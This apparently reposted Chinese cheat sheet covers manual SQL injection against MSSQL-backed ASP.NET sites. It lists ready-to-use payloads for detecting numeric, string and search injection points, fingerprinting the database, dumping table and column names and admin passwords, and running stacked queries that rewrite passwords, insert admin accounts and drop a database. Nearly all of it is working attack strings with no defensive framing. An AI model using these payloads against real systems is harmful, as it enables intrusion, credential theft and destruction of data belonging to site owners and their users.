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  • mssql手工注入

    判断注入点:

    1、数字型

    http://www.targer.com/article.aspx?id=1

    http://www.targer.com/article.aspx?id=1'

    http://www.targer.com/article.aspx?id=1 and 1=1

    http://www.targer.com/article.aspx?id=1 and 1=2

    2、字符型

    http://www.targer.com/article.aspx?action=value' and 1=1

    http://www.targer.com/article.aspx?action=value' and 1=2

    3、搜索型

    searchpoints%' and 1=1

    searchpoints%' and 1=2

    确定数据库类型:

    http://www.targer.com/article.aspx?id=1 and user>0

    http://www.targer.com/article.aspx?id=1 and (select count(*) from sysobjects)>0

    查询当前用户数据信息:

    article.aspx?id=1 having 1=1--

    暴当前表中的列:

    article.aspx?id=1 group by admin.username having 1=1--

    article.aspx?id=1 group by admin.username,admin.password having 1=1--

    暴任意表和列:

    and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1

    and (select top col_name(object_id('admin'),N) from sysobjects)>1

    暴数据库数据:

    and (select top 1 password from admin where id=N)>1

    修改数据库中的数据:

    ;update admin set password='oooooo' where username='xxx'

    增添数据库中的数据:

    ;insert into admin values (xxx,oooooo)--

    删除数据库:

    ;drop database webdata

     

    常用SQL总结:

     

    获取当前数据库用户名:and user>0

     

    获取当前数据库名:and db_name()>0

     

    获取数据库版本:and (select @@version)>0

     

    判断是否支持多句查询:;declare @a int--

     

    判断是否支持子查询:and (select count(1) from [sysobjects])>=0

    原文地址:http://wenku.baidu.com/link?url=HUz29K2oQStQY5xhqX84mI622D0tjsiuBN-seONO9YYf0OM12KlEs3Sw5pxwu1Iw2INeWJ-njqNKCWM2d7rMZ1cATTWiyBep5WO0bC2EFjW

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  • 原文地址:https://www.cnblogs.com/milantgh/p/4643124.html
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